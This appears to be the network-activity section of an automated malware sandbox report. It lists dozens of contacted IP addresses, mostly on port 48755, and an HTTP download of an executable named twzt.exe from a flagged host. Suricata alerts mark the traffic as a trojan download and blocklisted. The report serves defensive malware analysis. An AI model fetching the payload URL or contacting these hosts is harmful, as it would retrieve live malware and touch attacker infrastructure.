Network Analysis
IP Address | Status | Action |
---|---|---|
109.110.169.72 | Active | Moloch |
109.200.175.189 | Active | Moloch |
109.238.179.30 | Active | Moloch |
109.74.46.59 | Active | Moloch |
128.65.179.120 | Active | Moloch |
151.232.108.62 | Active | Moloch |
154.41.3.119 | Active | Moloch |
164.124.101.2 | Active | Moloch |
176.210.80.7 | Active | Moloch |
185.215.113.66 | Active | Moloch |
185.215.113.84 | Active | Moloch |
188.158.96.194 | Active | Moloch |
195.181.24.186 | Active | Moloch |
2.135.238.38 | Active | Moloch |
213.230.73.39 | Active | Moloch |
217.219.230.200 | Active | Moloch |
39.45.148.120 | Active | Moloch |
39.60.41.243 | Active | Moloch |
42.248.182.132 | Active | Moloch |
42.248.182.220 | Active | Moloch |
42.248.183.170 | Active | Moloch |
42.248.183.34 | Active | Moloch |
45.157.102.112 | Active | Moloch |
5.227.212.94 | Active | Moloch |
5.232.240.174 | Active | Moloch |
5.236.196.254 | Active | Moloch |
52.185.71.28 | Active | Moloch |
62.209.132.199 | Active | Moloch |
78.38.107.89 | Active | Moloch |
80.80.223.226 | Active | Moloch |
87.202.76.185 | Active | Moloch |
89.236.216.4 | Active | Moloch |
91.92.189.39 | Active | Moloch |
91.98.216.220 | Active | Moloch |
93.117.42.214 | Active | Moloch |
Name | Response | Post-Analysis Lookup |
---|---|---|
api.wipmania.com | 127.0.0.1 | |
www.update.microsoft.com | 52.137.90.34 |
- TCP Requests
-
-
192.168.56.102:49180 109.74.46.59:48755
-
192.168.56.102:49165 185.215.113.66:48755
-
192.168.56.102:49166 185.215.113.84:80
-
192.168.56.102:49171 195.181.24.186:48755
-
192.168.56.102:49174 217.219.230.200:48755
-
192.168.56.102:49175 217.219.230.200:48755
-
192.168.56.102:49170 42.248.183.34:48755
-
192.168.56.102:49179 42.248.183.34:48755
-
192.168.56.102:49173 5.227.212.94:48755
-
192.168.56.102:49172 5.232.240.174:48755
-
192.168.56.102:49178 62.209.132.199:48755
-
192.168.56.102:49176 78.38.107.89:48755
-
192.168.56.102:49177 91.92.189.39:48755
-
- UDP Requests
-
-
192.168.56.102:64036 109.110.169.72:48755
-
192.168.56.102:52064 109.200.175.189:48755
-
192.168.56.102:64036 109.238.179.30:48755
-
192.168.56.102:52064 109.74.46.59:48755
-
192.168.56.102:64036 109.74.46.59:48755
-
192.168.56.102:52064 128.65.179.120:48755
-
192.168.56.102:52064 151.232.108.62:48755
-
192.168.56.102:64036 151.232.108.62:48755
-
192.168.56.102:64036 154.41.3.119:48755
-
192.168.56.102:52062 164.124.101.2:53
-
192.168.56.102:52336 164.124.101.2:53
-
192.168.56.102:64034 164.124.101.2:53
-
192.168.56.102:64995 164.124.101.2:53
-
192.168.56.102:52064 176.210.80.7:48755
-
192.168.56.102:52064 185.215.113.66:48755
-
192.168.56.102:64036 185.215.113.66:48755
-
192.168.56.102:64036 188.158.96.194:48755
-
192.168.56.102:137 192.168.56.255:137
-
192.168.56.102:138 192.168.56.255:138
-
192.168.56.102:52064 195.181.24.186:48755
-
192.168.56.102:64036 2.135.238.38:48755
-
192.168.56.102:64036 213.230.73.39:48755
-
192.168.56.102:64036 217.219.230.200:48755
-
192.168.56.102:49152 239.255.255.250:3702
-
192.168.56.102:49164 239.255.255.250:1900
-
192.168.56.102:52063 239.255.255.250:1900
-
192.168.56.102:64035 239.255.255.250:1900
-
192.168.56.102:52064 39.45.148.120:48755
-
192.168.56.102:52064 39.60.41.243:48755
-
192.168.56.102:64036 42.248.182.132:48755
-
192.168.56.102:52064 42.248.182.220:48755
-
192.168.56.102:52064 42.248.183.170:48755
-
192.168.56.102:64036 42.248.183.34:48755
-
192.168.56.102:52064 45.157.102.112:48755
-
192.168.56.102:52064 5.227.212.94:48755
-
192.168.56.102:64036 5.236.196.254:48755
-
52.231.114.183:123 192.168.56.102:123
-
192.168.56.102:64036 78.38.107.89:48755
-
192.168.56.102:64036 80.80.223.226:48755
-
192.168.56.102:52064 87.202.76.185:48755
-
192.168.56.102:64036 87.202.76.185:48755
-
192.168.56.102:52064 89.236.216.4:48755
-
192.168.56.102:64036 89.236.216.4:48755
-
192.168.56.102:64036 91.98.216.220:48755
-
192.168.56.102:52064 93.117.42.214:48755
-
GET
200
http://185.215.113.84/twzt.exe
REQUEST
RESPONSE
BODY
GET /twzt.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Host: 185.215.113.84
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 11 Sep 2021 06:05:56 GMT
Content-Type: application/octet-stream
Content-Length: 70144
Last-Modified: Fri, 10 Sep 2021 23:22:22 GMT
Connection: keep-alive
ETag: "613be8ae-11200"
Accept-Ranges: bytes
ICMP traffic
Source | Destination | ICMP Type | Data |
---|---|---|---|
39.45.148.120 | 192.168.56.102 | 3 | |
39.45.148.120 | 192.168.56.102 | 3 |
IRC traffic
No IRC requests performed.
Suricata Alerts
Flow | SID | Signature | Category |
---|---|---|---|
TCP 185.215.113.66:48755 -> 192.168.56.102:49165 | 2400024 | ET DROP Spamhaus DROP Listed Traffic Inbound group 25 | Misc Attack |
TCP 185.215.113.84:80 -> 192.168.56.102:49166 | 2400024 | ET DROP Spamhaus DROP Listed Traffic Inbound group 25 | Misc Attack |
TCP 192.168.56.102:49166 -> 185.215.113.84:80 | 2016141 | ET INFO Executable Download from dotted-quad Host | A Network Trojan was detected |
TCP 185.215.113.84:80 -> 192.168.56.102:49166 | 2018959 | ET POLICY PE EXE or DLL Windows file download HTTP | Potential Corporate Privacy Violation |
TCP 185.215.113.84:80 -> 192.168.56.102:49166 | 2021076 | ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response | Potentially Bad Traffic |
Suricata TLS
No Suricata TLS
Snort Alerts
No Snort Alerts